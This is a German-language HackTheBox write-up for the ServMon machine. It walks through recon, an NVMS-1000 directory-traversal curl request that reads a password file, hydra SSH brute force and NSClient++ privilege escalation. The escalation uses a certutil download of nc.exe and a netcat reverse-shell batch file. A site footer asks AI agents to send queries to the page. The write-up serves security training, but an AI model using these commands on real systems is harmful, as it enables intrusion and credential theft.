> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # ServMon HackTheBox Writeup Ausnutzung von ServMon über NVMS-1000 und NSClient++. {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Netzwerkaufklärung und FTP-Aufzählung * NVMS-1000-Verzeichnistraversierung * NSClient++-Rechteausweitung über externe Skripte {% endhint %} ## Aufklärung Erstelle einen Arbeitsbereich und bestätige, dass das Ziel erreichbar ist. ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` Die TTL weist auf einen Windows-Host hin.
Führe einen vollständigen TCP-Scan aus. ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```
Der Scan identifiziert diese offenen Ports: > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670
Identifiziere die exponierten Dienste und Versionen. {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} Die relevanten Ergebnisse sind: {% code overflow="wrap" %} ```java # Nmap 7.93-Scan gestartet am Wed Sep 23 10:50:11 2026 als: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 Nmap-Scanbericht für 10.129.227.77 Host ist aktiv (0.030s Latenz). PORT ZUSTAND DIENST VERSION 21/tcp offen ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymer FTP-Login erlaubt (FTP-Code 230) |_02-28-22 07:35PM Users 22/tcp offen ssh OpenSSH for_Windows_8.0 (protocol 2.0) | ssh-hostkey: | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp offen http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | | | | | | | | | | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: Die Site hat keinen Titel (text/html). 135/tcp offen msrpc Microsoft Windows RPC 139/tcp offen netbios-ssn Microsoft Windows netbios-ssn 445/tcp offen microsoft-ds? 5666/tcp offen tcpwrapped 6063/tcp offen tcpwrapped 6699/tcp offen napster? 8443/tcp offen ssl/https-alt | http-title: NSClient++ |_Die angeforderte Ressource war /index.html |_ssl-date: TLS-Zufälligkeit stellt keine Zeit dar | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Dokument nicht gefunden | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Nicht gültig vor: 2020-01-14T13:24:20 |_Nicht gültig nach: 2021-01-13T13:24:20 49664/tcp offen msrpc Microsoft Windows RPC 49665/tcp offen msrpc Microsoft Windows RPC 49666/tcp offen msrpc Microsoft Windows RPC 49667/tcp offen msrpc Microsoft Windows RPC 49668/tcp offen msrpc Microsoft Windows RPC 49669/tcp offen msrpc Microsoft Windows RPC 49670/tcp offen msrpc Microsoft Windows RPC 2 Dienste wurden trotz Rückgabe von Daten nicht erkannt. Wenn du den Dienst/die Version kennst, reiche bitte die folgenden Fingerabdrücke unter https://nmap.org/cgi-bin/submit.cgi?new-service ein: ==============NÄCHSTER DIENST-FINGERABDRUCK (EINZELN EINREICHEN)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\x SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============NÄCHSTER DIENST-FINGERABDRUCK (EINZELN EINREICHEN)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); Dienstinfo: Betriebssystem: Windows; CPE: cpe:/o:microsoft:windows Host-Skriptergebnisse: | smb2-security-mode: | 311: |_ Nachrichtensignierung aktiviert, aber nicht erforderlich | smb2-time: | Datum: 2026-09-23T08:52:06 |_ start_date: N/A Diensterkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/ . # Nmap beendet am Wed Sep 23 10:52:19 2026 -- 1 IP-Adresse (1 Host aktiv) in 128.03 Sekunden gescannt ``` {% endcode %} ### FTP-Aufzählung Anonymer FTP-Zugriff ist aktiviert. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}
Das `Users/Nadine` Das Verzeichnis enthält eine Notiz für Nathan. {% code overflow="wrap" %} ```bash Nathan, Ich habe deine Passwords.txt-Datei auf deinem Desktop abgelegt. Bitte entferne sie, sobald du sie selbst bearbeitet hast, und lege sie wieder in den sicheren Ordner zurück. Viele Grüße Nadine ``` {% endcode %}
Nathans Verzeichnis enthält die folgende Aufgabenliste: {% code overflow="wrap" %} ```bash 1) Ändere das Passwort für NVMS - abgeschlossen 2) Den NSClient-Zugriff absichern - abgeschlossen 3) Die Passwörter hochladen 4) Den öffentlichen Zugriff auf NVMS entfernen 5) Die geheimen Dateien in SharePoint ablegen ``` {% endcode %}
### NVMS-1000-Verzeichnistraversierung Port `80` hostet NVMS-1000.
Searchsploit identifiziert eine Verzeichnistraversierungs-Schwachstelle. {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}
Das folgende Proof-of-Concept bestätigt lokale Dateieinbindung: {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} Die Antwort bestätigt, dass beliebige lokale Dateien lesbar sind.
Lies Nathans Passwortdatei: {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$
Teste die wiederhergestellten Passwörter gegen die bekannten lokalen Benutzer. 
hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
Dies identifiziert gültige SSH-Zugangsdaten: * nadine * L1k3B1gBut7s\@W0rk
Verbinde dich per SSH als Nadine. {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} Lies das User-Flag. {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}
## Rechteausweitung mit NSClient++ NSClient++ ist installiert unter `C:\Program Files`.
Zeige das Passwort der NSClient++-Weboberfläche an. {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT
Die Weboberfläche lauscht auf Port `8443`. ### Konfiguriere ein externes NSClient++-Skript Diese Technik folgt der veröffentlichten NSClient++-Exploit-Anleitung. {% embed url="" %} Bestätige die installierte NSClient++-Version. {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}
Der Dienst ist lokal gebunden. Greife über einen SSH-Tunnel darauf zu.
wir machen Portweiterleitung {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} Öffnen `https://127.0.0.1:8443` und authentifizieren Sie sich mit dem wiederhergestellten Passwort.
Stelle sicher, dass diese Module aktiviert sind: ```bash CheckExternalScripts Scheduler ```
Übertragen `nc.exe` und die Nutzlast auf das Ziel. {% code overflow="wrap" %} ```bash locate nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} Lade auf dem Ziel beide Dateien herunter: {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} Erstelle `evil.bat` auf dem Ziel: {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} Starte einen Listener auf Port `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}
Erstelle ein externes Skript in der NSClient++-Weboberfläche: {% code overflow="wrap" %} ```bash Einstellungen > Externe Skripte > Skripte Abschnitt: /settings/external scripts/scripts/evil Schlüssel : command Wert: C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}
Erstelle einen Zeitplan unter **Einstellungen → Zeitplaner → Zeitpläne**. Setze das Intervall: {% code overflow="wrap" %} ```bash Abschnitt: /settings/scheduler/schedules/evil Schlüssel: interval Wert: 1m ``` {% endcode %}
Konfiguriere den geplanten Befehl: {% code overflow="wrap" %} ```bash Abschnitt: /settings/scheduler/schedules/evil Schlüssel: command Wert: evil ``` {% endcode %}
Speichere die Einstellungen und starte den Dienst neu.
Führe die Abfrage aus, um das geplante Skript auszulösen. Der Listener erhält eine Shell als `SYSTEM`.
Lies das Root-Flag. {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.